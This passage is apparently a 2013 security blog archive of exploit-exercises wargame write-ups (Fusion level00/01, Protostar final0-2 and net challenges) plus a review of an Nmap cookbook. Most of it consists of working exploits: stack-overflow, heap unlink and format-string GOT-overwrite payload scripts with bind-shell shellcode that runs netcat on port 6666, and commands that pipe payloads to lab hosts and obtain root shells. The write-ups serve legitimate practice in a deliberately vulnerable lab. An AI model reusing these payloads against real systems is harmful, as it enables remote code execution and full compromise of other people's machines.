proto = ' HTTP/1.1'
nop = '\x90' * 30
shellcode  =  "\x31\xc0\x50\x68\x6e\x2f\x6e\x63"
shellcode +=  "\x68\x2f\x2f\x62\x69"
shellcode +=  "\x89\xe3\x50\x68\x36\x36\x36\x36\x68\x2d"
shellcode +=  "\x6c\x74\x70\x89\xe2\x50\x68\x6e\x2f\x73\x68"
shellcode +=  "\x68\x2f\x2f\x62\x69\x66\x68\x2d\x65\x89\xe1"
shellcode +=  "\x50\x51\x52\x53\x89\xe6\xb0\x0b\x89\xf1\x31"
shellcode +=  "\xd2\xcd\x80"

payload = get + path + ret + rel_jmp + proto + nop + shellcode
print payload
A walkthrough is needed to explain all these jumps and nop sleds.
(gdb) break *fix_path+63
Breakpoint 1 at 0x8049854: file level01/level01.c, line 9.
We send the payload
kroosec@doj:~$ python payload01.py | ncat 192.168.25.2 20001 &
[1] 8699

And break just before fix_path() returns.
(gdb) x/i $eip
=> 0x8049854 <fix_path+63>: ret
(gdb) x/4wx $esp
0xbfc480fc: 0x08049f4f  0xbf0025eb  0x00000020  0x00000004
(gdb) si
Cannot access memory at address 0x12eb9094
(gdb) x/i $eip
=> 0x8049f4f:   jmp    *%esp
We return to our lovely "jmp esp" which will send us to resolved's rel_jmp.
(Remember that only get+path+ret+rel_jmp were copied into resolved.)
(gdb) si
0xbfc48100 in ?? ()
(gdb) x/i $eip
=> 0xbfc48100:  jmp    0xbfc48127
(gdb) x/10wx $eip
0xbfc48100: 0xbf0025eb  0x00000020  0x00000004  0x001761e4
0xbfc48110: 0x001761e4  0x000027d8  0x20544547  0x90909090
0xbfc48120: 0x90909090  0x90909090
We need this jump to skip some junk that is on the stack and buffer's get. We don't want to execute random stuff. ;)
(gdb) si
0xbfc48127 in ?? ()
(gdb) x/i $eip
=> 0xbfc48127:  nop
We are now in buffer's path (which is a long nop sled.) we will slide down to the relative jump (\xeb\x12) at the end of path.
(gdb) x/20i $eip + 120
   0xbfc4819f:  nop
   0xbfc481a0:  nop
   0xbfc481a1:  nop
   0xbfc481a2:  nop
   0xbfc481a3:  nop
   0xbfc481a4:  nop
   0xbfc481a5:  jmp    0xbfc481b9
   0xbfc481a7:  dec    %edi
   0xbfc481a8:  lahf  
   0xbfc481a9:  add    $0x8,%al
   0xbfc481ab:  jmp    0xbfc481d2
   0xbfc481ad:  add    %cl,0x54(%eax)
   0xbfc481b0:  push   %esp
   0xbfc481b1:  push   %eax
   0xbfc481b2:  das   
   0xbfc481b3:  xor    %ebp,(%esi)
   0xbfc481b5:  xor    %edx,-0x6f6f6f70(%eax)
   0xbfc481bb:  nop
   0xbfc481bc:  nop
   0xbfc481bd:  nop
This jump is needed to skip buffer's ret,rel_jmp and proto
(gdb) tb *0xbfc481a5
Temporary breakpoint 2 at 0xbfc481a5
(gdb) continue
Continuing.

Temporary breakpoint 2, 0xbfc481a5 in ?? ()
(gdb) si
0xbfc481b9 in ?? ()
This jump will send us to the nop sled preceding our shellcode.
(gdb) x/5i $eip + 25
   0xbfc481d2:  nop
   0xbfc481d3:  nop
   0xbfc481d4:  xor    %eax,%eax
   0xbfc481d6:  push   %eax
   0xbfc481d7:  push   $0x636e2f6e
We continue, and connect to our backdoor!
kroosec@doj:~$ ncat 192.168.25.2 6666
id

uid=20001 gid=20001 groups=20001
And that is it, phew!

Wednesday, March 6, 2013

exploit-exercises Fusion: Level00

This is the write-up for level00, the first level in the Fusion exploitation wargame of exploit-exercises.
The source code of the vulnerable program is provided as follow:
#include "../common/common.c"

int fix_path(char *path)
{
  char resolved[128];

  if(realpath(path, resolved) == NULL) return 1; // can't access path. will error trying to open
  strcpy(path, resolved);
}

char *parse_http_request()
{
  char buffer[1024];
  char *path;
  char *q;

  printf("[debug] buffer is at 0x%08x :-)\n", buffer);

  if(read(0, buffer, sizeof(buffer)) <= 0) errx(0, "Failed to read from remote host");
  if(memcmp(buffer, "GET ", 4) != 0) errx(0, "Not a GET request");

  path = &buffer[4];
  q = strchr(path, ' ');
  if(! q) errx(0, "No protocol version specified");
  *q++ = 0;
  if(strncmp(q, "HTTP/1.1", 8) != 0) errx(0, "Invalid protocol");

  fix_path(path);

  printf("trying to access %s\n", path);

  return path;
}

int main(int argc, char **argv, char **envp)
{
  int fd;
  char *p;

  background_process(NAME, UID, GID);
  fd = serve_forever(PORT);
  set_io(fd);

  parse_http_request();
}
The vulnerability in this challenge occurs in fix_path() function, where a buffer allocated on the stack (automatic variable) with a size of 128 bytes is passed to realpath(3). realpath() takes no buffer size parameter, and its only upper boundary is PATH_MAX value. On our plateform:
root@fusion:~/level00# grep PATH_ /usr/include/linux/limits.h
#define PATH_MAX        4096    /* # chars in a path name including nul */
In this case, overflowing the buffer on the stack is trivial. This could be easily fixed by passing NULL value as second argument, in which case, realpath() will call malloc(3) to allocate memory dynamically.

To exploit this vulnerability, we start by finding the offset to override the fix_path()'s return pointer.
root@fusion:~/level00# gdb -q -p `pgrep level00`
(gdb) set follow-fork-mode child
(gdb) break fix_path

Breakpoint 1 at 0x804981e: file level00/level00.c, line 7.

On the attacker side:
kroosec@doj:~$ python -c "print 'GET /' + 'A'*131 + 'BBBB' + 'CCCC' + 'DDDD' + '
HTTP/1.1 EEEEEEEEEEE'" | nc 192.168.25.2 20000

Continuing with our program:
(gdb) continue
[...]
(gdb) p &resolved
$2 = (char (*)[128]) 0xbffff850
(gdb) x/2wx $ebp
0xbffff8d8: 0xbffffd08  0x08049970
(gdb) p 0xd8 + 0x4 - 0x50
$3 = 140
We will unsurpringly segfault on 0x44444444 (DDDD) memory access.
(gdb) continue
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x44444444 in ?? ()
In other words, we have 140 bytes of path as offset before overwriting the return
value.
Questions remaining are, where to return, and to what.
"Where ?"'s answer starts the debug message.
[debug] buffer is at 0xbffff8f8 :-)
Taking into account the offset and other values such as GET, HTTP/1.1 etc,. we
can control the input freely after 158 bytes.
(gdb) p/x 0xbfffff8f8 + 158
$5 = 0xbfffff996
Demonstrated with this payload.
kroosec@doj:~$ python -c "print 'GET /' + 'A'*131 + 'BBBB' + 'CCCC' +
'\x96\xf9\xff\xbf' + ' HTTP/1.1 '+'\xcc'+'DDDDDDDDDDDDD'" | nc 192.168.25.2 20000
(gdb) continue
Program received signal SIGTRAP, Trace/breakpoint trap.
0xbffff997 in ?? ()
The "what?"'s answer is "Shellcode!"
We will simply use one from a previously solved challenge in Protostar wargame.
One small alteration, we will add is change /etc/traditional/nc symbolic link to
point to nc.traditional instead of nc.openbsd.
root@fusion:~# ln -f -s /bin/nc.traditional /etc/alternatives/nc
And the Python script to generate the whole payload.
kroosec@doj:~$ cat pay00.py
#!/usr/bin/env python

get = 'GET '
path = '/'+ 'A' * 139
ret = '\xa6\xf9\xff\xbf'
proto = ' HTTP/1.1'
nop = '\x90' * 30
shellcode  =  "\x31\xc0\x50\x68\x6e\x2f\x6e\x63"
shellcode +=  "\x68\x2f\x2f\x62\x69"
shellcode +=  "\x89\xe3\x50\x68\x36\x36\x36\x36\x68\x2d"
shellcode +=  "\x6c\x74\x70\x89\xe2\x50\x68\x6e\x2f\x73\x68"
shellcode +=  "\x68\x2f\x2f\x62\x69\x66\x68\x2d\x65\x89\xe1"
shellcode +=  "\x50\x51\x52\x53\x89\xe6\xb0\x0b\x89\xf1\x31"
shellcode +=  "\xd2\xcd\x80"

payload = get + path + ret + proto + nop + shellcode
print payload
Wrapping-up everything.
kroosec@doj:~$ python pay00.py | ncat 192.168.25.2 20000 &
[1] 5062
kroosec@doj:~$ ncat 192.168.25.2 6666
id
uid=20000 gid=20000 groups=20000
That is for level00!

Saturday, January 26, 2013

[Book] Nmap 6 Network Exploration and Network Security Auditing cookbook

 A couple of weeks ago, Packetpub reached out to me to review their newest book on Nmap by Paulino Calderon. Due to a lack of time, it wasn't until this week-end that I have been able to write the last words of this review.

 The author's description of the book says "Nmap 6: Network Exploration and Security Auditing Cookbook is a 100 percent practical book that follows a
cookbook's style..." and this is both reasonable and necessary, as the book wouldn't have had much added value over the pretty comprehensive online documentation otherwise. Most recipes come in a "What and why, How to do, How it works, There's more to it and See Also" format, which is good, except for the "See Also" that I found to be a waste of space in my opinion as in most cases it points to recipes in the same chapter and the "References" and "Index" at the end of the book are already comprehensive. If you don't know what Nmap is, or are just searching for the "how to do" part in a rigid format, you may want to take a first look at the online documentation.
Repeating the "legal disclaimer" from the preface at the start of each chapter was a bit annoying. Those who have bad intentions will skip through them (just like those with good intentions do). On the other hand, the author could have provided a good added-value if he provided a virtual machine with the vulnerable software on which to test (and follow with the examples) the book's recipes. Using some existing vulnerable virtual machines would have been rational too.

Following are my views on each chapter of the book. You can skip directly to
the summary/rating.
Chapter 1: Nmap Fundementals.
The book shows up some awesomeness early on. This chapter covers "a lot"
compared to the usual "First Chapter" you see in other books. The Chapter starts with grabbing and building the latest source code from the Nmap repostiroy. *Every* Nmap user should be running bleeding edge, as there are too many bug fixes, new features and especially NSE improvements to miss, waiting for stable releases. I totally agree with the author on skipping the usual, "go to toolwebsite.com, grab packages/binaries and run it."
The chapter continues with recipes, starting with the simple "namp <target>" and showing basic features and flags such as -PN, -n and -p up to using Ndiff and a bash script to automate some monitoring work.
In essence, all the fundamentals needed for the day-to-day tasks are here.

Chapter 2: Network Exploration
This chapter looked more like the man pages with all the different host
discovery and port scanning techniques detailed. In page 48: "...note that there are firewalls configured to drop RST packets..." the author probably meant "..drop SYN packets.." given the context.
Page 51: "... will generate false positives" should have been "...false negatives...".
First part of the chapter is not very interesting and the author's touch was quite absent. Things become a bit more interesting starting from the "Hiding our traffic with additional random data" recipe. Overall it was an ok chapter.

Chapter 3: Gathering Additional Host Information
This chapter deals with collecting information about your targets beyond the
classic OS fingerprinting, port enumeration and service discovery that nmap is
widely known for. There are recipes about IP geolocation, whois records
enumeration, Google Safe Browsing querying, listing supported protocols etc,. The author's touch which lacked in the previous chapter was welcomed here.

Chapter 4: Auditing Web Servers
As I expected, and as the chapters go, the author starts to focus more on
leveraging NSE scripts.
One (major) complaint: "HTTP User Agent" and "HTTP pipelining" paragraphs were repeated numerous times, practically for each recipe in the chapter (and many other times in later chapters). Moving them to the start of the chapter and simply pointing to them would have saved a lot of valuable space.
Other than that, there are a numerous recipes for enumerating and testing web
servers and applications. Not surprising knowing the author's contributions to Nmap.

Chapter 5: Auditing Databases.
"MySQL servers may run on a non-standard port..." passage is again repeated
a couple of times. Same goes for the "Brute modes" passage, but in general the chapter is quite good with a lot of information on testing MySQL servers, Oracle, MS SQL and some nosql db servers such as MongoDB and CouchDB. No love for PostgreSQl ? :)

Chapter 6: Auditing Mail Servers
This chapter goes through testing mail servers using mainly smtp/pop3/imap related NSE scripts. Again, there is some repetition in here. The little paragraph about "Debugging NSE scripts" is repeated 9 times through the chapter (and 11 times in total in the book). Worse, the command is not even changed.
nmap -p80 --script http-google-email -d4 <target>
Other notes about this chapter: In my opinion, the SMTP brute force recipe should come right after the user enumeration recipe, not just right before it.
Same goes for the POP3/IMAP brute force recipes which should come after capabilities querying recipes. But this is a small detail.

Chapter 7: Scanning large networks.
This chapter constitutes a fresh change, as it is not very heavy on using NSE
scripts as the previous chapters. The "reading targets from text
files" and "scanning an ip address range" recipes should be on the first
chapter or second chapter though. The various recipes to optimize the run time
of large network scans are very nice. The closing recipe on running distributed
scans with Dnmap is a nice touch.

Chapter 8: Generating Scan Reports.
The chapter is self-containing with information on generating reports in various
format (text, xml, sqlite DB, html, network topology graph etc,.). In my
opinion, this chapter should have come as the last chapter of the book, or
alternatively at the place of one of the earlier chapters (before the book starts focusing on NSE scripts.)

Chapter 9: Writing Your Own NSE Scripts
This chapter is hands-down the best in the book. The author does a brilliant job
in taking the reader beyond the "Check response code of an HTTP request to some url." scripting tutorials that you will find practically everywhere. These were my expectations knowing the author's contribution to NSE and he surely didn't disappoint. Anyone planning to start writing Nmap scripts would learn a lot from this chapter and enjoy the practical tips in here.

Summary:
The Nmap 6 cookbook is a nice addition to your bookshelf or on a corner of your desk, depending on how often you (should) use Nmap. I had high expectations for this book and I wasn't let down except by the editing / space management.

Pros:
Complete coverage of Nmap and NSE.
Chapter 9 on writing Nmap scripts is very well written.
Cons:
Content duplication. Use of space could have been smarter.

Rating: 4.5 / 5

Sunday, January 13, 2013

exploit-exercises Protostar: Summary

This post regroups the write-ups for the exploit-exercises' Protostar wargame which introduces to the exploitation of various classes of vulnerabilities on Linux x86. These are posted mainly as a reference and to discuss various approaches and ideas with other people.
If you came here looking for a solution, try harder, it could be done. If you don't know where to start, The Shellcoder's handbook's first 5 chapters should set you on track. You may also enjoy the Exploits 1 class from Open Security Training. Depending on your actual level, you may prefer Hacking, The Art of Exploitation's slower introduction to the topic.

Do not cheat, it is not worth it.

stack0
stack1
stack2
stack3
stack4
stack5
stack6
stack7

format0
format1
format2
format3

heap0
heap1
heap2
heap3

net0-3

final0
final1
final2

exploit-exercises Protostar: Final 2

This is the write-up for final 2 which is the last challenge of exploit-exercises' Protostar wargame and involves exploiting a remote heap overflow. The source code of the remote heap overflow vulnerable program is provided as follow:
#include "../common/common.c"
#include "../common/malloc.c"

#define NAME "final2"
#define UID 0
#define GID 0
#define PORT 2993

#define REQSZ 128

void check_path(char *buf)
{
        char *start;
        char *p;
        int l;

        /*
         * Work out old software bug
         */

        p = rindex(buf, '/');
        l = strlen(p);
        if(p) {
                start = strstr(buf, "ROOT");
                if(start) {
                        while(*start != '/') start--;
                        memmove(start, p, l);
                        printf("moving from %p to %p (exploit: %s / %d)\n", p, start, start < buf ?
                        "yes" : "no", start - buf);
                }
        }
}

int get_requests(int fd)
{
        char *buf;
        char *destroylist[256];
        int dll;
        int i;

        dll = 0;
        while(1) {
                if(dll >= 255) break;

                buf = calloc(REQSZ, 1);
                if(read(fd, buf, REQSZ) != REQSZ) break;

                if(strncmp(buf, "FSRD", 4) != 0) break;

                check_path(buf + 4);

                dll++;
        }

        for(i = 0; i < dll; i++) {
                write(fd, "Process OK\n", strlen("Process OK\n"));
                free(destroylist[i]);
        }
}

int main(int argc, char **argv, char **envp)
{
        int fd;
        char *username;

        /* Run the process as a daemon */
        background_process(NAME, UID, GID);

        /* Wait for socket activity and return */
        fd = serve_forever(PORT);

        /* Set the client socket to STDIN, STDOUT, and STDERR */
        set_io(fd);

        get_requests(fd);

}
The only difference between the provided source code and the binary on the target machine is the printf() within the check_path() function is not called in the binary. The vulnerability happens in the check_path() function as the '/' is assumed to be preceding the 'ROOT' in the buffer and is looked for backward with no boundary checking.
        while(*start != '/') start--;
After that, the rest of the buffer starting from p is copied into start's new position.
        memmove(start, p, l);
Other important information to keep in mind:
- Each request is 128 bytes.
- Each request is allocated a chunk on the heap.
- We can chain requests with the same connexion.
With that in mind, our solution for this challenge involves sending two requests: The first one will contain the "previous" '/' from which we will start copying into. The second one will contain the ROOT from which we start iterating and the second '/' that marks the start of the area we copy from. A PoC to make things clearer:
kroosec@doj:~$ python -c "print 'FSRD'+'A'*123+'/' + 'FSRD'+'ROOT'+ 'A'*103 + '/' + '\xf8\xff\xff\xff'+'\xfc\xff\xff\xff'+'B'*4+'C'*4" | nc 192.168.23.5 2993
Notice the second '/' (and the payload to exploit the free() call) is at the end of the request. This is to limit the effect of the memmove() which copies strlen(p) amount of data.
And the state of the program when the crash happens.
(gdb) x/i $eip
0x804aaef <free+301>:   mov    %edx,0xc(%eax)
(gdb) i r edx
edx            0x43434343       1128481603
(gdb) i r eax
eax            0x42424242       1111638594
Arbitrary memory overwrite, just like heap 3. We will overwrite the write() GOT
entry with the address of our shellcode which will be located at 0x804e09c.
root@protostar:/home/user# objdump -R /opt/protostar/bin/final2 | grep write
0804d41c R_386_JUMP_SLOT   write
Checking that our addresses are correct, using a "int3" (sigtrap) instruction in place of our shellcode we get:
kroosec@doj:~$ python -c "print 'FSRD'+'A'*123+'/' + 'FSRD'+'ROOT'+ '\xcc' + '\x90'*102 + '/' + '\xf8\xff\xff\xff'+'\xfc\xff\xff\xff'+'\x10\xd4\x04\x08'+'\x98\xe0\x04\x08'" | nc 192.168.23.5 2993

(gdb) x/x 0x0804e098
0x804e098:      0x909090cc
(gdb) continue
Continuing.

Program received signal SIGTRAP, Trace/breakpoint trap.
0x0804e099 in ?? ()

(gdb) x/5i $eip - 1
0x804e098:      int3
0x804e099:      nop
0x804e09a:      nop
0x804e09b:      nop
0x804e09c:      nop
Now, with the final expoit payload.
kroosec@doj:~$ cat final2.py
#!/usr/bin/env python

req_size = 128
HDR = 'FSRD'
NOP = '\x90'
jump = NOP * 6 + '\xeb\x06' # JUMP + 6
free_payload  = '/' + '\xf8\xff\xff\xff' + '\xfc\xff\xff\xff'
free_payload += '\x10\xd4\x04\x08' + '\x98\xe0\x04\x08'

shellcode  =  "\x31\xc0\x50\x68\x6e\x2f\x6e\x63"
shellcode +=  "\x68\x2f\x2f\x62\x69"
shellcode +=  "\x89\xe3\x50\x68\x36\x36\x36\x36\x68\x2d"
shellcode +=  "\x6c\x74\x70\x89\xe2\x50\x68\x6e\x2f\x73\x68"
shellcode +=  "\x68\x2f\x2f\x62\x69\x66\x68\x2d\x65\x89\xe1"
shellcode +=  "\x50\x51\x52\x53\x89\xe6\xb0\x0b\x89\xf1\x31"
shellcode +=  "\xd2\xcd\x80"

first_req = HDR + 'A'* (req_size - len(HDR) - 1) + '/'
second_req  = HDR + 'ROOT' + jump #16
second_req += NOP * (req_size - len(HDR) - 4 - len(jump) - len(shellcode) - len(free_payload))
second_req += shellcode
second_req += free_payload #17

print first_req + second_req
Last point to clarify, is the short relative jump "\xeb\x05" we have add which
is used to jump over the second value written by the free() call.
(gdb) x/20x 0x804e090
0x804e090:      0x0804d410      0x0804e098      0x90909090      0x06eb9090
0x804e0a0:      0x0804d410      0x90909090      0x90909090      0x90909090
0x804e0b0:      0x90909090      0x90909090      0x90909090      0x90909090
0x804e0c0:      0x90909090      0x6850c031      0x636e2f6e      0x622f2f68
0x804e0d0:      0x50e38969      0x36363668      0x6c2d6836      0xe2897074
Let's get our remote root shell.
kroosec@doj:~$ python final2.py | nc 192.168.1.5 2993 &
[1] 9577
kroosec@doj:~$ nc 192.168.1.5 6666
whoami

root
And that is it with the last challenge of the Protostar wargame.

exploit-exercises Protostar: Final 1

This is the write-up for final 1 challenge of exploit-exercises' Protostar wargame. The source code of the vulnerable program is provided as follow:
#include "../common/common.c"

#include <syslog.h>

#define NAME "final1"
#define UID 0
#define GID 0
#define PORT 2994

char username[128];
char hostname[64];

void logit(char *pw)
{
        char buf[512];

        snprintf(buf, sizeof(buf), "Login from %s as [%s] with password [%s]\n", hostname, username, pw);

        syslog(LOG_USER|LOG_DEBUG, buf);
}

void trim(char *str)
{
        char *q;

        q = strchr(str, '\r');
        if(q) *q = 0;
        q = strchr(str, '\n');
        if(q) *q = 0;
}

void parser()
{
        char line[128];

        printf("[final1] $ ");

        while(fgets(line, sizeof(line)-1, stdin)) {
                trim(line);
                if(strncmp(line, "username ", 9) == 0) {
                        strcpy(username, line+9);
                } else if(strncmp(line, "login ", 6) == 0) {
                        if(username[0] == 0) {
                                printf("invalid protocol\n");
                        } else {
                                logit(line + 6);
                                printf("login failed\n");
                        }
                }
                printf("[final1] $ ");
        }
}

void getipport()
{
        int l;
        struct sockaddr_in sin;

        l = sizeof(struct sockaddr_in);
        if(getpeername(0, &sin, &l) == -1) {
                err(1, "you don't exist");
        }

        sprintf(hostname, "%s:%d", inet_ntoa(sin.sin_addr), ntohs(sin.sin_port));
}

int main(int argc, char **argv, char **envp)
{
        int fd;
        char *username;

        /* Run the process as a daemon */
        background_process(NAME, UID, GID);

        /* Wait for socket activity and return */
        fd = serve_forever(PORT);

        /* Set the client socket to STDIN, STDOUT, and STDERR */
        set_io(fd);

        getipport();
        parser();

}
The format string vulnerability occurs in the logit() function, more precisely in the syslog(LOG_USER|LOG_DEUG, buf) call which is passed user suplied data directly, instead of being passed a static string with a call in the form of syslog(LOG_USER|LOG_DEBUG, "%s", buf).
First thing to do is determining the parameter position at which we can read/write our input. One way to do it for a blind format string is to iterate over the positions, while attempting to write at a valid memory address, a GOT entry, for instance, but not the printf one as we need it to easily tell that it didn't crash. Consequently, when we hit an adequate position for our input (which will be the strncmp entry in the GOT), the program will not crash. And following is a bash script to automate it, we make 4 consecutives valid addresses to overwrite in our input (0x0804a1a8-0x0404a1ab) to differentiate the position we are looking for from other false positives.
kroosec@doj:~$ cat final1.sh
#!/usr/bin/env sh

for i in {10..30};
do
    echo -n "Position: $i ";
    python -c "print 'username A\n'+'login \xa8\xa1\x04\x08\xa9\xa1\x04\x08\xaa\xa1\x04\x08\xab\xa1\x04\x08%$i\$n\n'" \
        | nc 192.168.23.5 2994 \
        | grep "login failed";
    echo "";
done;
kroosec@doj:~$ bash final1.sh
Position: 10
Position: 11
Position: 12
Position: 13
Position: 14
Position: 15
Position: 16
Position: 17
Position: 18
Position: 19
Position: 20 [final1] $ [final1] $ login failed

Position: 21 [final1] $ [final1] $ login failed

Position: 22 [final1] $ [final1] $ login failed

Position: 23 [final1] $ [final1] $ login failed

Position: 24
Position: 25
Position: 26
Position: 27
Position: 28 [final1] $ [final1] $ login failed

Position: 29
Position: 30
Position 20 is what we are looking for. Now, it is time to start overwriting the GOT entry with correct values.
kroosec@doj:~$ python -c "print 'username A\n'+'login \xa8\xa1\x04\x08\xa9\xa1\x04\x08\xaa\xa1\x04\x08\xab\xa1\x04\x08x%20\$n%11x%21\$nx%22\$nx%23\$nAAAA'" | nc 192.168.23.5 2994

(gdb) x/x 0x0804a1a8
0x804a1a8 <_GLOBAL_OFFSET_TABLE_+188>:  0x675d564b

(gdb) x/30x buf
0xbffffa20: 0x69676f4c  0x7266206e  0x31206d6f  0x312e3239
0xbffffa30: 0x312e3836  0x3a31352e  0x38323533  0x73612034
0xbffffa40: 0x5d415b20  0x74697720  0x61702068  0x6f777373
0xbffffa50: 0x5b206472  0x0804a1a8  0x0804a1a9  0x0804a1aa
0xbffffa60: 0x0804a1ab  0x78303025  0x24303225  0x3131256e
0xbffffa70: 0x31322578  0x30256e24  0x32257830  0x256e2432
0xbffffa80: 0x43783030  0x33322543  0x41416e24  0x0a5d4141
0xbffffa90: 0xbffffb00  0xb7febfc6
Now we have to overwrite the address of our shellcode (0xbffffa8a) into the puts GOT entry (0x0804a194). After some offset calculations, we reach this point:
kroosec@doj:~$ python -c "print 'username A\n'+'login \x94\xa1\x04\x08\x95\xa1\x04\x08\x96\xa1\x04\x08\x97\xa1\x04\x08%71x%20\$n%111x%21\$n%261x%22\$n%192x%23\$n\xcc\xcc\xcc\xcc'" | nc 192.168.23.5 2994

(gdb) continue
Continuing.

Program received signal SIGTRAP, Trace/breakpoint trap.
0xbffffa8c in ?? ()
Now, we just have to use our replace the 0xcc sequence with our real shellcode.
kroosec@doj:~$ cat final1.py
#!/usr/bin/env python

payload  = "username A\n"
payload += "login \x94\xa1\x04\x08\x95\xa1\x04\x08\x96\xa1\x04\x08\x97\xa1\x04\x08"
payload += "%71x%20$n%111x%21$n%261x%22$n%192x%23$n"

shellcode  =  "\x31\xc0\x50\x68\x6e\x2f\x6e\x63"
shellcode +=  "\x68\x2f\x2f\x62\x69"
shellcode +=  "\x89\xe3\x50\x68\x36\x36\x36\x36\x68\x2d"
shellcode +=  "\x6c\x74\x70\x89\xe2\x50\x68\x6e\x2f\x73\x68"
shellcode +=  "\x68\x2f\x2f\x62\x69\x66\x68\x2d\x65\x89\xe1"
shellcode +=  "\x50\x51\x52\x53\x89\xe6\xb0\x0b\x89\xf1\x31"
shellcode +=  "\xd2\xcd\x80"

payload += shellcode
print payload
And get a root shell.
kroosec@doj:~$ python final1.py | nc 192.168.23.5 2994 > /dev/null &
[1] 4748
kroosec@doj:~$ nc 192.168.23.5 6666
whoami

root
That is all for final 1 challenge.

Thursday, January 10, 2013

exploit-exercises Protostar: Final 0

This is the write for Final 0 challenge of exploit-exerices' Protostar wargame. The source code of the vulnerable program is provided as follow:
#include "../common/common.c"

#define NAME "final0"
#define UID 0
#define GID 0
#define PORT 2995

/*
 * Read the username in from the network
 */

char *get_username()
{
        char buffer[512];
        char *q;
        int i;

        memset(buffer, 0, sizeof(buffer));
        gets(buffer);

        /* Strip off trailing new line characters */
        q = strchr(buffer, '\n');
        if(q) *q = 0;
        q = strchr(buffer, '\r');
        if(q) *q = 0;

        /* Convert to lower case */
        for(i = 0; i < strlen(buffer); i++) {
                buffer[i] = toupper(buffer[i]);
        }

        /* Duplicate the string and return it */
        return strdup(buffer);
}

int main(int argc, char **argv, char **envp)
{
        int fd;
        char *username;

        /* Run the process as a daemon */
        background_process(NAME, UID, GID);

        /* Wait for socket activity and return */
        fd = serve_forever(PORT);

        /* Set the client socket to STDIN, STDOUT, and STDERR */
        set_io(fd);

        username = get_username();

        printf("No such user %s\n", username);
}
There is a stack based buffer overflow in this program caused by the gets() call in get_username() function. This time however, our input will be altered depending on its value.
Any of the first 512 characters (sizeof (buf)) that falls within the lower case alphabetic characters range in the ascii table (0x61 -> 0x7a) will be transformed into upper case (ie. OR with 0x20).
        /* Convert to lower case */
        for(i = 0; i < strlen(buffer); i++) {
                buffer[i] = toupper(buffer[i]);
        }
For the nop sled / junk filler, this shouldn't be an issue. However, for the shellcode, we have to take extra measures as parts like "/bin/sh" will become "/BIN/SH".
We have two solutions for this:
1. Shellcode not within the buf[512]. We simply fill with junk and write the
shellcode after the RET address.
2. Use a shellcode containing no characters within 0x61-0x7a range. This would be the option to choose only if the first one is not available.
Here is the python script to exploit the vulnerable program. The shellcode
binds a shell to port 6666. Starting with this shellcode we can get to one easily tailored for our target machine that uses /bin/nc instead of /usr/bin/netcat. The python script that outputs the final payload:
#!/usr/bin/env python

offset = 528 + 4
nop = "\x90"
RET = "\xd4\xfc\xff\xbf"
shellcode  =  "\x31\xc0\x50\x68\x6e\x2f\x6e\x63"
shellcode +=  "\x68\x2f\x2f\x62\x69"
shellcode +=  "\x89\xe3\x50\x68\x36\x36\x36\x36\x68\x2d"
shellcode +=  "\x6c\x74\x70\x89\xe2\x50\x68\x6e\x2f\x73\x68"
shellcode +=  "\x68\x2f\x2f\x62\x69\x66\x68\x2d\x65\x89\xe1"
shellcode +=  "\x50\x51\x52\x53\x89\xe6\xb0\x0b\x89\xf1\x31"
shellcode +=  "\xd2\xcd\x80"
payload = nop * offset + RET + nop * 10 + shellcode
print payload
We pipe the output into nc, and connect to the open port.
kroosec@doj:~/protostar$ python final0.py | nc 192.168.23.5 2995 &
[1] 4791
kroosec@doj:~/protostar$ nc 192.168.23.5 6666
whoami
root

exploit-exercises Protostar: Net 0, Net 1, Net 2 and Net 3

This blog post will be a sum-up for Net 0, Net 1, Net 2 and Net 3 challenges of exploit-exercises' Protostar wargame.
In the first challenge we have to read a  random integer's decimal representation off the network and send it back. We parse the received data, we convert into an integer value and send it back.
#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>

#define RPORT 2999
#define BUF_SIZE 255
#define RHOST "192.168.23.5"

int main (int argc, char **argv)
{
    int sd, wanted;
    char buf[BUF_SIZE];
    char *ptr;
    struct sockaddr_in target;

    /* Prepare structures and socket */
    memset (&target, 0, sizeof (target));
    target.sin_family = AF_INET;
    target.sin_port = htons (RPORT);
    if (inet_pton (AF_INET, RHOST, &target.sin_addr.s_addr) != 1)
      {
        printf("inet_pton()");
        return -1;
      }
    if ((sd = socket (AF_INET, SOCK_STREAM, 0)) == -1)
      {
        printf("socket()");
        return -1;
      }

    /* Connect to the target host */
    if (connect (sd, (struct sockaddr *) &target, sizeof (target)))
      {
        printf("connect()");
        return -1;
      }
    /* Read the message */
    if (recv (sd, buf, BUF_SIZE - 1, 0) == -1)
      {
        printf("recv()");
        return -1;
      }
    printf ("%s\n", buf);

    /* Extract the value */

    ptr = (char *) buf + 14;
    while ((*ptr++ != '\'') && (ptr < buf + BUF_SIZE));

    wanted = atoi (buf + 13);
    /* Send it back in little endian */
    if (send (sd, &wanted, sizeof (wanted), 0) != sizeof (wanted))
      {
        printf("send()");
        return -1;
      }

    memset (buf, 0, BUF_SIZE);
    if (recv (sd, buf, BUF_SIZE - 1, 0) == -1)
      {
        printf("recv()");
        return -1;
      }
    printf ("%s\n", buf);

    return 0;
}
kroosec@doj:~/protostar$ ./a.out
Please send '217873919' as a little endian 32bit int

Thank you sir/madam
The second challenge is mostly the inverse of the first. We read an integer over
the network and send back its decimal representation.
#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>

#define RPORT 2998
#define BUF_SIZE 255
#define RHOST "192.168.23.5"

int main (int argc, char **argv)
{
    int sd;
    char buf[BUF_SIZE];
    char tmp[BUF_SIZE];
    char *ptr;
    struct sockaddr_in target;

    /* Prepare structures and socket */
    memset (&target, 0, sizeof (target));
    target.sin_family = AF_INET;
    target.sin_port = htons (RPORT);
    if (inet_pton (AF_INET, RHOST, &target.sin_addr.s_addr) != 1)
      {
        printf("inet_pton()");
        return -1;
      }
    if ((sd = socket (AF_INET, SOCK_STREAM, 0)) == -1)
      {
        printf("socket()");
        return -1;
      }

    /* Connect to the target host */
    if (connect (sd, (struct sockaddr *) &target, sizeof (target)))
      {
        printf("connect()");
        return -1;
      }
    /* Read the message */
    if (recv (sd, buf, BUF_SIZE - 1, 0) == -1)
      {
        printf("recv()");
        return -1;
      }

    memset (tmp, 0, BUF_SIZE);
    sprintf (tmp, "%d", *(int *)buf);

    if (send (sd, tmp, strlen (tmp), 0) != strlen (tmp))
      {
        printf("send()");
        return -1;
      }

    memset (buf, 0, BUF_SIZE);
    if (recv (sd, buf, BUF_SIZE - 1, 0) == -1)
      {
        printf("recv()");
        return -1;
      }
    printf ("%s\n", buf);

    return 0;
}

